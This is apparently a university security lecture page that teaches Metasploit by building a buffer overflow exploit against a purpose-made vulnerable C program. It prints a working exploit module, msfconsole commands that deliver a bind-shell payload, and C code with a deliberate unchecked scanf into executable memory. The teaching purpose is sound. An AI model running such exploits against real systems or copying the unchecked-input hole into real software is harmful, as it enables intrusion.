Buffer Overflow Part 3: Metasploit
Computer
Security Lecture, Dr.
Lawlor
Metasploit is a
reusable Ruby framework for building offensive tools for attacking
machines.
Metasploit installation
is initially quite painless on a recent Linux machine, or it's part
of several tool distributions like Kali.
The default install location is
/opt/metasploit-framework/embedded/framework/modules/.
To start metasploit command line, run
msfconsole
Making the Database Connection
By default metasploit relies on a database, postgres, which has a
bad habit of unpredictably failing and preventing msfconsole from
even starting. And it takes at least a few seconds to start
normally, so it's hard to distinguish from a hang. (msfconsole
will also hang on startup or reload_all if it finds anything
executable inside your modules directory, even a shell script or git
commit hook--it will run it and wait forever for it to respond to
jsonrpc calls.)
To verify postgres is running, try a netstat and make sure you have
a process named postgres listening on TCP port 5433; if not, you
need to start postgres manually, for example with one of these
commands:
-
service postgresql start
- /opt/metasploit-framework/embedded/bin/postgres -D ~/.msf4/db/
If msfconsole hangs at startup, you can press ctrl-C twice (!) to
stop it attempting to connect to the database, giving you an
msfconsole. db_status will show the database status. You
may need to reconnect to the database with something like this:
- db_status
- db_connect -y ~/.msf4/database.yml
- db_status
Writing a Buffer Overflow Exploit Module
Metasploit
Unleashed has a good section on "Exploit Development".
Rapid7's design rationale for their exploit modules.
I wrote a tiny metasploitable
buffer overflow example program called ijit. (It's
called ijit because it's in the style of a heap-based exploit for a
Just-In-Time (JIT) compiler.)
To use it from a Linux machine, first softlink this code into your
metasploit modules directory:
cd
git clone https://github.com/olawlor/ijit
mkdir -p ~/.msf4/modules/exploits/linux/ijit
cd ~/.msf4/modules/exploits/linux/ijit
ln -s ~/ijit/ijit.rb .
(Don't check out directly into modules/exploits, that will make msfconsole hang at startup when it sees the executable git hooks!)
Now compile and run the vulnerable program (compiled here as a
32-bit x86 program):
cd ~/ijit
gcc -m32 ijit.c -o ijit32
nc -l -p 8888 | ./ijit32
I'm using netcat to bolt TCP port 8888 to the vulnerable program's standard input. Leave the vulnerable program running.
In another terminal, exploit it with msfconsole.
msfconsole
use exploit/linux/ijit/ijit
reload
show targets
set target 0
show options
set RHOST 127.0.0.1
show nops
set nop x86/single_byte
show payloads
set payload linux/x86/shell/bind_tcp
exploit
If it doesn't work, make sure the vulnerable process is running and your network works, and hit "exploit" again.
If it works, you get a shell on the target machine. Type "exit" or kill the far side to get back to msfconsole.
Here's the modules/exploits/linux/ijit/ijit.rb metasploit script. msfconsole "reload" is useful anytime you change this script.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'ijit Demo Buffer Overflow',
'Description' => %q{
Simple demo buffer overflow for custom "ijit" server.
},
'Author' => [ 'OSL' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', 'xxxx-yyyy' ]
],
'Privileged' => false,
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x20\x0a\x0d\x0b\x0c\x09",
},
'Platform' => 'linux',
'Targets' =>
[
[ 'ijit buffer start', { 'Ret' => 0x3badc040 } ],
[ 'ijit sled middle', { 'Ret' => 0x3badc240 } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'November 2017'))
register_options(
[
Opt::RPORT(8888)
])
end
def exploit
print_status("Connecting to target...")
connect
sock.get_once
shellcode = payload.encoded
outbound = rand_text_alphanumeric(32) + payload.encoded + [target.ret].pack('Q')
print_status("Outbound data: \"#{outbound}\"")
hexed = shellcode.dump
print_status("Payload in hex: \"#{hexed}\"")
print_status("Trying target #{target.name}...")
sock.put(outbound)
handler
disconnect
end
end
(In making this actually work, the hardest part was finding all the BadChars. The payload byte copy will stop early if you send over a bad character, leaving half-finished shellcode that usually crashes with Illegal instruction.)
The vulnerable C code is below.
/**
ijit: interactive Just-In-Time compiler
UNIX program designed to be a relatively reliable simple target
for buffer overflow attacks.
Compile and run on TCP port 8888 with:
gcc ijit.c -o ijit
nc -l -p 8888 | ./ijit
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
struct ijit_code;
/** This function pointer runs the jit'd code */
typedef void (*ijit_interpreter)(struct ijit_code *code);
/** This struct stores a block of jit code */
struct ijit_code {
char name[32]; /* run name */
char jitted[1024]; /* machine code to run */
ijit_interpreter interp; /* fallback interpreter function */
};
int main() {
/* Allocate executable area to store JIT code: */
struct ijit_code *code=(struct ijit_code *)mmap(
(void *)0x3badc000, /* pointer to base address of new jit_code structure */
4096, /* bytes of code to run */
PROT_READ|PROT_WRITE|PROT_EXEC, /* allow anything: RWX */
MAP_ANONYMOUS|MAP_SHARED|MAP_FIXED, /* allocate memory where I say */
-1, 0 /* file descriptor and offset not used. */
);
if (code==(struct ijit_code *)-1) {
perror("mmap"); exit(1);
}
/* Set up structure */
code->interp=0;
printf("Loading name into code struct at %p...\n",(void *)code);
/* VULNERABILTY HERE: read name *without* checking name length. */
if (1!=scanf("%s",code->name)) {
printf("ERROR in scanf. Exiting.\n"); exit(1);
}
printf("Loaded name %s (%zd bytes)\n", code->name, strlen(code->name));
/* Run the code */
if (code->interp) {
printf("Seems to be an interpreter at %p: running it...\n",(void *)code->interp);
code->interp(code);
printf("Back from interpreter.\n");
} else {
printf("No interpreter found. Exiting.\n");
}
return 0;
}
Here I'm allocating the jit_code space using mmap for two reasons:
- I can set the memory protection to allow read, write, and execute
simultaneously. This is semi-realistic, since most just-in-time compilers initially do this, although
lately smart people have been adding W^X policy support to things like Firefox JIT: pages get mapped rw, filled with machine code, then flipped over to rx before they're run. Attackers work around W^X using things like rop chains.
- I can define the memory start address directly, here 0x3badc000.
This lets my example evade things like ASLR that are designed to make
addresses hard to guess. This isn't very realistic, but real attackers can often evade ASLR using techniques like heapspray, or just guessing enough bits.
This is just a tiny taste of the full power of metasploit.